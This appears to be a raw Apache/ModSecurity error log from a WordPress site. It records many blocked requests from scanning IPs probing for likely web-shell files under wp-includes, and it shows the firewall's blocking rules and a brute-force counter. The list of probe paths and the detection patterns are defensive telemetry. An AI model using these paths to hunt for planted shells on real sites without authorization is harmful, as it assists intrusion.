[Fri Nov 21 05:45:16.717323 2025] [:error] [pid 13326:tid 13379] [client 185.251.19.202:33725] [client 185.251.19.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aR-L7Nh942-HkDIkOWrpEAAAAFU"]
[Fri Nov 21 05:45:28.948398 2025] [:error] [pid 51434:tid 51444] [client 185.251.19.183:59177] [client 185.251.19.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/category-double.php"] [unique_id "aR-L-PU96liplEDkw_Tx8wAAAQg"]
[Fri Nov 21 05:45:33.365012 2025] [:error] [pid 13325:tid 13348] [client 136.144.42.248:56211] [client 136.144.42.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/db.php"] [unique_id "aR-L_SBUXj9tD75On3ClfwAAABI"]
[Fri Nov 21 05:45:34.259806 2025] [:error] [pid 13325:tid 13333] [client 185.251.19.187:31099] [client 185.251.19.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/security.php"] [unique_id "aR-L_iBUXj9tD75On3ClgQAAAAM"]
[Fri Nov 21 05:45:39.355335 2025] [:error] [pid 13326:tid 13372] [client 172.98.32.179:22725] [client 172.98.32.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aR-MA9h942-HkDIkOWrpMgAAAE4"]
[Fri Nov 21 05:45:42.286381 2025] [:error] [pid 13327:tid 13403] [client 185.251.19.186:35825] [client 185.251.19.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aR-MBvBXf-8B6mFkLeOd_AAAAJI"]
[Fri Nov 21 05:45:50.576380 2025] [:error] [pid 13412:tid 13426] [client 136.144.42.250:61951] [client 136.144.42.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aR-MDn3-knz3ZB6HogG_2gAAAMk"]
[Fri Nov 21 05:45:54.989602 2025] [:error] [pid 13325:tid 13341] [client 185.251.19.193:47085] [client 185.251.19.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aR-MEiBUXj9tD75On3CllwAAAAs"]
[Fri Nov 21 05:46:00.228317 2025] [:error] [pid 51434:tid 51460] [client 172.98.32.178:49131] [client 172.98.32.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aR-MGPU96liplEDkw_TyJgAAARg"]
[Fri Nov 21 05:46:03.149806 2025] [:error] [pid 13325:tid 13349] [client 185.251.19.187:55229] [client 185.251.19.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/as.php"] [unique_id "aR-MGyBUXj9tD75On3ClmgAAABM"]
[Fri Nov 21 05:46:06.047892 2025] [:error] [pid 13326:tid 13382] [client 136.144.42.251:22075] [client 136.144.42.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aR-MHth942-HkDIkOWrpQwAAAFg"]
[Fri Nov 21 05:46:06.933336 2025] [:error] [pid 13326:tid 13372] [client 185.251.19.194:26445] [client 185.251.19.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/install.php"] [unique_id "aR-MHth942-HkDIkOWrpRgAAAE4"]
[Fri Nov 21 05:46:07.836625 2025] [:error] [pid 13326:tid 13375] [client 185.251.19.198:23985] [client 185.251.19.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/db.php"] [unique_id "aR-MH9h942-HkDIkOWrpSAAAAFE"]
[Fri Nov 21 05:46:17.950083 2025] [:error] [pid 13327:tid 13404] [client 172.98.32.177:56149] [client 172.98.32.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aR-MKfBXf-8B6mFkLeOeFAAAAJM"]
[Fri Nov 21 05:46:24.203186 2025] [:error] [pid 13412:tid 13418] [client 136.144.42.245:26289] [client 136.144.42.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rk2.php"] [unique_id "aR-MMH3-knz3ZB6HogHAEAAAAME"]
[Fri Nov 21 05:46:30.287703 2025] [:error] [pid 13326:tid 13375] [client 185.251.19.184:49251] [client 185.251.19.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/past.php"] [unique_id "aR-MNth942-HkDIkOWrpaAAAAFE"]
[Fri Nov 21 05:46:36.187980 2025] [:error] [pid 51434:tid 51442] [client 172.98.32.177:40747] [client 172.98.32.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/edit-tags.php"] [unique_id "aR-MPPU96liplEDkw_TydwAAAQY"]
[Fri Nov 21 05:46:46.279460 2025] [:error] [pid 13325:tid 13345] [client 172.98.32.176:46369] [client 172.98.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aR-MRiBUXj9tD75On3ClwwAAAA8"]
[Fri Nov 21 05:46:49.163482 2025] [:error] [pid 13326:tid 13364] [client 185.251.19.180:43371] [client 185.251.19.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aR-MSdh942-HkDIkOWrpfAAAAEY"]
[Fri Nov 21 05:46:52.124021 2025] [:error] [pid 13412:tid 13423] [client 136.144.42.251:62537] [client 136.144.42.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aR-MTH3-knz3ZB6HogHAOgAAAMY"]
[Fri Nov 21 05:46:56.484752 2025] [:error] [pid 51434:tid 51451] [client 185.251.19.193:63325] [client 185.251.19.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aR-MUPU96liplEDkw_TyggAAAQ8"]
[Fri Nov 21 05:47:09.607644 2025] [:error] [pid 51434:tid 51444] [client 185.251.19.201:21713] [client 185.251.19.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aR-MXfU96liplEDkw_TynQAAAQg"]
[Fri Nov 21 05:47:10.498319 2025] [:error] [pid 13325:tid 13332] [client 185.251.19.177:29431] [client 185.251.19.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aR-MXiBUXj9tD75On3ClzgAAAAI"]
[Fri Nov 21 05:47:16.393204 2025] [:error] [pid 51434:tid 51451] [client 185.251.19.194:42063] [client 185.251.19.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aR-MZPU96liplEDkw_Ty_gAAAQ8"]
[Fri Nov 21 05:47:17.438788 2025] [:error] [pid 51434:tid 51457] [client 185.251.19.203:62159] [client 185.251.19.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aR-MZfU96liplEDkw_TzAgAAARU"]
[Fri Nov 21 05:47:21.963020 2025] [:error] [pid 13326:tid 13363] [client 185.251.19.174:37303] [client 185.251.19.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aR-Madh942-HkDIkOWrpjwAAAEU"]
[Fri Nov 21 05:47:22.999778 2025] [:error] [pid 13327:tid 13390] [client 185.251.19.188:56839] [client 185.251.19.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ms-file.php"] [unique_id "aR-MavBXf-8B6mFkLeOefwAAAIU"]
[Fri Nov 21 05:47:23.868108 2025] [:error] [pid 13325:tid 13349] [client 172.98.32.178:48467] [client 172.98.32.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.178, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aR-MayBUXj9tD75On3Cl_gAAABM"]
[Fri Nov 21 05:47:23.873710 2025] [proxy_fcgi:error] [pid 13325:tid 13349] [client 172.98.32.178:48467] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:47:24.309076 2025] [:error] [pid 13325:tid 13346] [client 172.98.32.178:48467] [client 172.98.32.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/av.php"] [unique_id "aR-MbCBUXj9tD75On3Cl_wAAABA"]
[Fri Nov 21 05:47:31.726952 2025] [:error] [pid 13325:tid 13344] [client 172.98.32.178:54451] [client 172.98.32.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aR-McyBUXj9tD75On3CmBgAAAA4"]
[Fri Nov 21 05:47:32.636077 2025] [:error] [pid 13327:tid 13390] [client 185.251.19.190:44439] [client 185.251.19.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/network.php"] [unique_id "aR-MdPBXf-8B6mFkLeOelAAAAIU"]
[Fri Nov 21 05:47:44.280665 2025] [:error] [pid 51434:tid 51444] [client 185.251.19.200:58253] [client 185.251.19.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aR-MgPU96liplEDkw_TzOQAAAQg"]
[Fri Nov 21 05:47:45.171445 2025] [:error] [pid 13327:tid 13398] [client 185.251.19.196:39589] [client 185.251.19.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/item.php"] [unique_id "aR-MgfBXf-8B6mFkLeOesQAAAI0"]
[Fri Nov 21 05:47:48.391648 2025] [:error] [pid 13327:tid 13400] [client 185.251.19.203:25757] [client 185.251.19.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aR-MhPBXf-8B6mFkLeOevgAAAI8"]
[Fri Nov 21 05:47:49.260953 2025] [:error] [pid 51434:tid 51460] [client 185.251.19.190:44609] [client 185.251.19.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/install.php"] [unique_id "aR-MhfU96liplEDkw_TzQAAAARg"]
[Fri Nov 21 05:47:50.209896 2025] [proxy_fcgi:error] [pid 13326:tid 13375] [client 172.98.32.177:32379] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:47:50.729664 2025] [:error] [pid 13326:tid 13381] [client 172.98.32.177:32379] [client 172.98.32.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.177, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aR-Mhth942-HkDIkOWrpoAAAAFc"]
[Fri Nov 21 05:47:54.339588 2025] [:error] [pid 13326:tid 13373] [client 172.98.32.177:32379] [client 172.98.32.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aR-Mith942-HkDIkOWrppAAAAE8"]
[Fri Nov 21 05:48:01.161097 2025] [:error] [pid 13412:tid 13440] [client 136.144.42.248:28503] [client 136.144.42.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aR-MkX3-knz3ZB6HogHAowAAANc"]
[Fri Nov 21 05:48:04.105702 2025] [:error] [pid 13412:tid 13420] [client 185.251.19.179:49339] [client 185.251.19.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aR-MlH3-knz3ZB6HogHAqgAAAMM"]
[Fri Nov 21 05:48:05.009648 2025] [:error] [pid 13412:tid 13427] [client 185.251.19.165:27583] [client 185.251.19.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aR-MlX3-knz3ZB6HogHAqwAAAMo"]
[Fri Nov 21 05:48:10.810449 2025] [:error] [pid 51434:tid 51444] [client 185.251.19.167:54319] [client 185.251.19.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aR-MmvU96liplEDkw_TzmAAAAQg"]
[Fri Nov 21 05:48:15.198652 2025] [:error] [pid 13412:tid 13433] [client 185.251.19.201:56577] [client 185.251.19.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "aR-Mn33-knz3ZB6HogHAuAAAANA"]
[Fri Nov 21 05:48:22.354325 2025] [:error] [pid 13412:tid 13441] [client 185.251.19.167:27851] [client 185.251.19.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aR-Mpn3-knz3ZB6HogHA0AAAANg"]
[Fri Nov 21 05:48:23.244034 2025] [:error] [pid 13327:tid 13389] [client 136.144.42.250:51273] [client 136.144.42.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/bypass.php"] [unique_id "aR-Mp_BXf-8B6mFkLeOfGgAAAIQ"]
[Fri Nov 21 05:48:26.204012 2025] [:error] [pid 13326:tid 13364] [client 172.98.32.176:24807] [client 172.98.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/count.php"] [unique_id "aR-Mqth942-HkDIkOWrpwQAAAEY"]
[Fri Nov 21 05:48:37.037909 2025] [:error] [pid 13412:tid 13437] [client 185.251.19.187:20351] [client 185.251.19.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aR-MtX3-knz3ZB6HogHA2wAAANQ"]
[Fri Nov 21 05:48:41.456300 2025] [:error] [pid 13325:tid 13349] [client 136.144.42.247:52349] [client 136.144.42.247] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||www.rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "www.rcacivilgroup.com"] [uri "/images/stories/themes.php"] [unique_id "aR-MuSBUXj9tD75On3CmVAAAABM"]
[Fri Nov 21 05:48:41.893947 2025] [:error] [pid 13325:tid 13354] [client 136.144.42.247:52349] [client 136.144.42.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aR-MuSBUXj9tD75On3CmVQAAABg"]
[Fri Nov 21 05:48:46.656901 2025] [:error] [pid 13325:tid 13331] [client 185.251.19.196:30411] [client 185.251.19.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aR-MviBUXj9tD75On3CmWgAAAAE"]
[Fri Nov 21 05:48:47.546831 2025] [:error] [pid 51434:tid 51451] [client 185.251.19.203:44355] [client 185.251.19.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/vars-soap.php"] [unique_id "aR-Mv_U96liplEDkw_Tz2AAAAQ8"]
[Fri Nov 21 05:48:57.418642 2025] [:error] [pid 13327:tid 13408] [client 185.251.19.182:42767] [client 185.251.19.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aR-MyfBXf-8B6mFkLeOfTAAAAJc"]
